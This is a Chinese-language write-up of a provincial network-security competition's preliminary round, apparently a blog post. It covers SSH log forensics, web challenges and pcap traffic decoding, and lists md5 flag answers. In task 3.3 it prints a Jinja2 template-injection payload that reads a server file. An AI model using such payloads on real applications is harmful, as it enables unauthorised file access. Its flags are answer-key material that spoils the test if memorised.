20251018-四川省第三届网信行业技能竞赛-网络与信息安全管理员赛项初赛wp

20251018-四川省第三届网信行业技能竞赛初赛-网络与信息安全管理员赛项

by: fake_dest1ny
资产表
设备名称 用户名 密码 连接方式
选手kali主机 kali kali VNC

一、日志分析

任务描述

你作为某企业安全工程师,发现了某APT组织渗透。APT攻击的第一步通过暴力破解或凭据窃取获得 SSH 访问权限。本次入侵者在日志中多次尝试登录,最终通过 Accepted password 成功登录并随后打开了会话。
该日志文件存放于【选手kali主机】桌面对应文件中。

任务内容

(1.1)追踪攻击入口 IP

请结合日志中 sshd 的成功登录记录,以及对应的 session opened 信息,定位首次成功登录的公网 IP,并将ip进行md5加密后,将小写的md5密文进行作为flag信息进行提交,提交格式为flag{MD5小写},例如首次成功登录的IP是192.168.1.1,那么提交范例为:flag{66efff4c945d3c3b87fc271b47d456db}

操作步骤:
1.查看日志前10行,观察特征:
获得登录成功的特征:Accepted password
在这里插入图片描述

2.粗略观察,只有两天的日志,June 04是第一天:
在这里插入图片描述

3.选择出时间排序:
在这里插入图片描述

4.根据最初的时间再次筛选,得到最终的ip:233.151.217.41
在这里插入图片描述

5.提交flag

md5(233.151.217.41)-->flag{5f9391dd6a170595adc66cc325153b54}
(1.2)识别恶意RCE请求路径

在初始入侵阶段,攻击者利用 Log4Shell 漏洞向 Tomcat 应用发送了含有 JNDI 载荷的 HTTP POST 请求。该请求行中既有路径也有 payload 信息,但我们需要从日志中准确提取出触发 RCE 的 URI 路径部分(不含域名和查询参数),并将path路径进行md5加密后,将小写的md5密文进行作为flag信息进行提交,提交格式为flag{MD5小写},例如假设path路径是/path,那么提交范例为:flag{c55cc3282a38277657035e8e64b48b60}。

操作步骤:
1.当时筛选的是/,试了/a /b 都不对,跳过
在这里插入图片描述

(1.3)还原攻击者上传的Web Shell文件名

攻击者成功执行远程代码后通过上传 Web Shell 持久化控制。为了增加混淆,日志中上传路径部分的文件名采用了 Base64 编码。请定位含有 /uploads/ 关键词的日志行,提取 Base64 字符串并解码,得到真实的 Web Shell 文件名,用以确认后续恶意脚本。并将文件名进行md5加密后,将小写的md5密文进行作为flag信息进行提交,提交格式为flag{MD5小写},例如假设登陆文件名是user,那么提交范例为:flag{ee11cbb19052e40b07aac0ca060c23ee}

1.看了一下第三题的题目,先把第三题做了:
在这里插入图片描述

2.post后面的路径是:c2hlbGwuanNw

echo c2hlbGwuanNw | base64 -d #shell.jsp
md5(shell.jsp) --> flag{797cc99954a3c1a3dddeed68bb4377af}

三、渗透测试

任务描述

请通过服务器172.16.100.24的5080端口web服务上的考验,并拿到三个flag信息,页面存在三种不同的考验,分别对应不同的flag获取页面。

(3.1)flag1:寻找藏起来的flag

页面中隐藏了一个flag信息,请找到flag内容并提交,直接提交看到的flag。
1.查看网页源代码即可获得:
在这里插入图片描述

flag{B43kb4D9mfCD}
(3.2)flag2:密码寻找和解密

在当前页面中,想办法获取密码信息,并在文本框提交,最后在页面输出的信息中拿到flag内容并提交,注意flag内容所有字母均为小写

1.查看网页源代码:

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>TiTiWeb的第二个考验</title>
    <link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
    <header>
        <h1>TiTiWeb的web网站</h1>
        <nav>
            <ul>
                <li>首页</li>
                <li>第一个考验</li>
                <li>第二个考验</li>
                <li>第三个考验</li>
            </ul>
        </nav>
    </header>
    <main>
        <section class="flag-challenge">
            <h2>用密码打开TiTi的flag宝箱</h2>
            <p>请输入正确的密码以获取Flag:</p >
            <form method="POST" action="/flag2">
                <input type="text" name="password" placeholder="输入密码" required>
                <button type="submit">提交</button>
            </form>
            <div class="hint">
                <p>密码提示:密码在代码中可以获得线索</p >
            </div>
        </section>
    </main>
    <footer>
        <p>TiTiWeb的web网站 &copy; 2025</p >
    </footer>
    <script>
        function getKey() {
            return "invalid_key";
        }

        function passwordHint() {
            return "encrypted_data_12345";
        }

        function decodeSecret() {
            return atob("ZmFsc2UJkd3d23wS8=");
        }

        function generateKey() {
            return "wrong_key_" + Math.random().toString(36).substr(2);
        }

        function getSecret() {
            return btoa("not_the_password");
        }

        function decodeFlag() {
            return "CTF{fake_flag}";
        }

        function decrypt() {
            return [1,2,3,62,67,62,111,2,71,102,85,119,68,122,64,103,88].map(x=>x*2);
        }

        function hiddenCode() {
            return "secret_"+Date.now();
        }

        function obfuscate() {
            return Array.from({length:10},()=>Math.floor(Math.random()*256));
        }

        function fakeDecode() {
            const encrypted = [11,90,91,102,108,85,91,121,85,62,9,11,110,62,67,62,111,2,71,102,85,119,68,122,64,103,88];
            const key = 11;
            return "decoded_"+Math.random();
        }

        function func() {
            const encrypted = [111,90,91,102,108,85,91,121,85,62,79,101,110,62,67,62,111,62,71,102,85,119,68,122,64,103,88];
            const key = 13;
            return String.fromCharCode(...encrypted.map(c=>c^key))+"=";
        }

        function key() {
            const _0x5f5d=['\x72\xef\x76\x65\x72\x73\x65','\x6d\x61\x70','\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'];
            const _0x5a5b=(function(_0x4e2a,_0x52a1){const _0x5f5d80=_0x4e2a['slice'](_0x52a1);return _0x4e2a['slice'](0,_0x52a1)});
            const _0x1b7a=[121,82,81,102,93,83,81,111,93,56,71,109,94,56,83,56,93,56,79,102,83,117,68,114,77,101,80,56];
            const _0x3c2d=Function('return 0x'+'f')();
            const _0x4a31=_0x5a5b(_0x1b7a,14)[_0x5f5d[1]](function(_0x5e4d){return _0x5e4d^_0x3c2d;});
            const hint=String[_0x5f5d[2]](..._0x4a31);
            return hint;
        }
    </script>
</body>
</html>

2.大概看了一下script部分的内容,不是很明白,到console中试了一下调用func:
期间被firefox的console制裁,需要输入allow pasting才能粘贴:
在这里插入图片描述
调用func:
在这里插入图片描述

bWVkaXVtX3Bhc3N3b3JkXzIwMjU=

base64解密后结果:

medium_password_2025

3.在输入框中输入密码,出现了flag,但是乱码:
在这里插入图片描述

4.这种感觉似曾相识,回顾一下:

这里新建一个文档,默认是utf-8编码:
在这里插入图片描述

保存为ANSI编码:
在这里插入图片描述

这时,在记事本中是正常显示的内容:
在这里插入图片描述

使用Sublime打开:
在这里插入图片描述

原来是这样,之前使用Sublime打开某些txt是乱码,就切换了用记事本打开。

5.中途尝试过修改firefox浏览器的编码,想用浏览器渲染出来,想改一个ISO看看,改不了:
在这里插入图片描述

6.感觉卡住了,到此时已经过了58min,做流量分析去了。

7.从流量分析编码问题又回来了:

这是一个典型的字符编码问题,通常被称为“乱码”(Mojibake)。
这种情况的发生,是因为一段使用UTF-8编码的文本(在这里是中文)被错误地按照单字节编码(如 ISO-8859-1 或 latin1)来解析和显示了。
解决方法
需要逆转这个过程:将这段字符串先用 latin1 (ISO-8859-1) 编码“还原”成它本来的字节序列,然后再用 UTF-8 编码来“正确地”解码这些字节。

使用Cyberchef尝试:
在这里插入图片描述

找GBK没找到,看到这个简中,试了一下:
在这里插入图片描述

可以,出现了flag:

在这里插入图片描述

flag{o8o2d3d1u9u2}
(3.3)flag3:利用漏洞获得flag

请利用当前页面的漏洞,以及页面中的信息提示,拿到第三个flag内容,并提交

群友提供:

{% raw %}{% endraw %}{% print(lipsum.__globals__.__builtins__.open('flag.txt').read()) %}{% raw %}

二、流量分析

任务描述

某企业网络监控中心告警企业内部网络对外进行恶意通讯,需要详细分析通讯过程中的流量包。作为企业安全工程师,你在网络监控的旁路流量设备上下载了网络流量记录文件competition_traffic.pcap,请下载并分析此文件,并按照下列要求和格式提交相关信息。该日志文件存放于【选手kali主机】桌面对应文件夹中。

(2.1)对外通讯目的地址

进过初步排查,对外发送的HTTP请求中存在加密信息。请分析competition_traffic.pcap文件,找到对外加密HTTP请求的目的地址ip。并将此ip信息进行md5加密,然后将小写的md5密文进行作为flag信息进行提交,提交格式为flag{MD5小写},例如对外加密HTTP请求的目的地址ip为1.1.1.1,那么提交范例为:flag{e086aa137fa19f67d27b39d0eca18610}

1.随便翻了一下,就这个ip发的加密的多一点,试了一下,确实是:
在这里插入图片描述

md5(203.0.113.5) --> flag{7ec96ef71b1987db3c2e47cd7ea3d187}
(2.2)流量解密信息

经过企业安全密码专家对数据包competition_traffic.pcap进一步分析,第1题中对外加密HTTP请求先使用了XOR加密,密钥为flowkey123然后使用了base64加密,同时对外加密HTTP请求向某个路径使用GET方式传递了参数update

请根据以上信息尝试解密第1题中对外加密的HTTP请求数据。并将GET方式传递参数update的值的明文信息进行md5加密后,将小写的md5密文进行作为flag信息进行提交,提交格式为flag{MD5小写},例如假设GET方式传递参数update的值的明文信息是passwd,那么提交范例为:flag{76a2173be6393254e72ffa4d6df1030a}

1.在这里使用Cyberchef的时候,发现随便搞了一会儿,和刚刚web2题目有点像,回去研究web2了。

2.根据描述,加密的顺序是:

先用 XOR 加密 (密钥: flowkey12)
然后用 Base64 加密

因此,在 CyberChef 中解密,需要完全相反的操作:
先 From Base64 (Base64 解码)
然后 XOR (用相同的密钥 flowkey12 解密)

3.这里看起来似乎并不对:
在这里插入图片描述

4.发现key选的是hex,改成UTF8,仍然不对:
在这里插入图片描述

  1. 输入的长度似乎不对,根据经验删除了一位,得到了update的参数system:
    在这里插入图片描述
md5(system) --> flag{54b53072540eeeb8f8e9343e71f28176}
(2.3)ICMP的隐藏信息

经过企业安全密码专家再次对数据包competition_traffic.pcap进一步分析,发现在内部网络的ICMP数据包的data中,也存在一个加密信息,但是由于信息不足,密码专家只找到了部分加密信息SUNNUF并推测使用的是base64加密,同时密文中存在一个flag内容(备注:flag内容存在于{}之间)。请找ICMP数据包data中的加密信息进行解密拿到flag内容,并将这个flag内容进行md5加密后,将小写的md5密文进行作为flag信息进行提交,提交格式为flag{MD5小写},例如假设flag内容为info,那么提交范例为:flag{caf9b6b99962bf5c2264824231d7a40c}

1.提示很明确,直接搜索:
在这里插入图片描述

2.复制出来:
在这里插入图片描述

在这里插入图片描述

SUNNUF9ISURERU5fRkxBR3s3YTJiOWR9
base64 decode : ICMP_HIDDEN_FLAG{7a2b9d}

3.得到flag中的内容,再进行md5:
在这里插入图片描述

md5(7a2b9d) --> flag{f65c64498931e2874add27f075010d3c}
(2.4)加盐的文件

企业的流量监控设备检测到企业内部网络对外进行恶意通讯数据包的 TCP 层数据载荷中存在X-Salt加盐关键字,经过进一步分析,这可能和文件的加密传输有关。请分析数据包competition_traffic.pcap,找到尝试加盐加密的文件名称(包括扩展名),并将这个文件名称进行md5加密后,将小写的md5密文进行作为flag信息进行提交,提交格式为flag{MD5小写},例如假设文件名称为name,那么提交范例为:flag{b068931cc450442b63f5b3d276ea4297}

根据群友描述:
分组字节流搜索salt,追踪一下流,或者直接导出


群友经验:
日志可以用火眼取证分析工具

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值